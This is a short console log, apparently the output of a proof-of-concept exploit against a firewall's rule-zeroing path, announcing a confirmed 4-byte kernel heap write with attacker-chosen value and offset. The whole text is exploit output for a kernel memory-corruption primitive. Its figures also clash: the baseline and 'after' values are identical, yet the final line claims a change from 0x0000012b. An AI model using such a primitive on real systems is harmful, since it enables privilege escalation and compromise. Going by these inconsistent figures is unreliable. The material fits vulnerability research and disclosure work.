[+] rule 2000 installed (cmd_len=4, act_ofs=1)
[+] baseline cmd[3] = 0x00000128
[+] IP_FW_ZERO(2000) done -> clear_counters() store fired
[+] after     cmd[3] = 0x00000128
[!!] 4-BYTE KERNEL HEAP WRITE CONFIRMED: cmd[3] 0x0000012b -> 0x00000128 (value=max_log, offset=act_ofs*4+8, both attacker-chosen)